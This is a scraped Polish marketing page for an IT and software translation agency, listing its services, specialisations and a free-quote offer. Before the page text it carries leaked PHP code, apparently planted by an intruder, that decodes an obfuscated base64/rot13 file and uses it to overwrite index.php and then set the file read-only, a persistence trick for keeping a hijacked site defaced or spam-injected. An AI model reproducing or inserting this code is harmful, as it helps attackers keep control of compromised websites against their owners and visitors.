$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Tłumaczenia informatyczne: angielski, niemiecki, francuski | mling.pl
698 688 787 lub 22 379 04 55 biuro@mling.pl
Zaznacz stronę

TŁUMACZENIA INFORMATYCZNE

Zaufaj specjalistom i korzystaj z naszego doświadczenia

Wycena tłumaczenia

wyc

  • Całkowicie za darmo !
  • Prześlij pliki
  • Odpowiedź do 30 minut
Sprawdź

Firma Wiarygodna Finansowo

fwf


Tłumaczenia informatyczne

Tłumaczenia informatyczne a rozwój nowoczesnych form komunikacji

Współcześnie nikt praktycznie nie wyobraża sobie życia bez komputerów, Internetu. Zaawansowane technologie informatyczne towarzyszą nam w życiu codziennym, są jego elementem. Co jednak powinien zrobić człowiek, który nie jest obeznany z nowoczesnym sprzętem lub wyspecjalizowanymi programami, które dodatkowo napisane są w obcym języku?
Oczywiście może zwrócić się on do specjalistów – informatyków, którzy będą w stanie rozwiązać jego problem. Takie jednak posunięcie może być bardzo kosztowne, gdyż specjaliści, zwłaszcza od nowoczesnych technologii, nie należą do grupy pracowników, którzy za swoją pracę otrzymują najniższe wynagrodzenie. Cóż zatem pozostaje?
Skorzystanie z biura tłumaczeń, które w szybki i sprawny sposób przełoży na język ojczysty czy to treść instrukcji, czy cały program. I choć może wydawać się to posunięciem znacznie trudniejszym, aniżeli zatrudnienie specjalisty, to jednak jest to rozwiązanie idealne zarówno dla osób, które chcą pogłębiać swoją wiedzę, jak i tych wszystkich, którzy nie lubią polegać na innych. Większość działających aktualnie na rynku biur tłumaczeń ma w swojej ofercie właśnie tłumaczenia specjalistyczne z zakresu informatyki.
Ważne jest jednak, aby przy wyborze biura, kierować się jego renomą oraz popularnością. Można sprawdzić, z jakimi firmami biuro ostatnio współpracowało, można również pokusić się o sprawdzenie ewentualnych referencji, które zostały wydane przez dawnych kontrahentów. To bardzo ważne, choćby z uwagi na fakt, iż tłumaczenia informatyczne należą do stosunkowo trudnych. Specyficzny język, techniczne określenia – tutaj tłumacz poza znajomością języka musi wykazać się również wiedzą z zakresu programowania.
Nie warto zatem ryzykować – najlepiej translację pozostawić profesjonalnemu tłumaczowi, który nie tylko idealnie przełoży tekst z obcego na ojczysty język, ale zrobi to w sposób przystępny i niezwykle prosty. Dzięki temu żaden komputerowy problem nie będzie kłopotem!

Usługi:

  • Tłumaczenie oprogramowania
  • Dostosowanie treści
  • Internacjonalizacja kodu
  • Testowanie aplikacji
  • In-country review
  • Recenzje produktów

Sprzęt komputerowy

  • Tłumaczenie instrukcji obsługi
  • Tłumaczenie dokumentacji produkcyjnej
  • Tłumaczenie specyfikacji technicznych
  • Tłumaczenie i lokalizacja interfejsów
  • Tłumaczenie materiałów reklamowych
  • Tłumaczenie dokumentacji przetargowej

Elektronika użytkowa

  • Tłumaczenie dokumentacji użytkownika
  • Tłumaczenie dokumentacji produkcyjnej
  • Tłumaczenie schematów produktu
  • Tłumaczenie materiałów promocyjnych
  • Lokalizacja urządzeń

Specjalizacje:

  • Telefonia
  • Telegrafia
  • Radiofonia
  • Telewizja
  • Teledata

Najczęściej tłumaczone języki to:

  • angielski
  • niemiecki
  • francuski

Wycena jest całkowicie darmowa i do niczego niezobowiązująca.


Wybierz pliki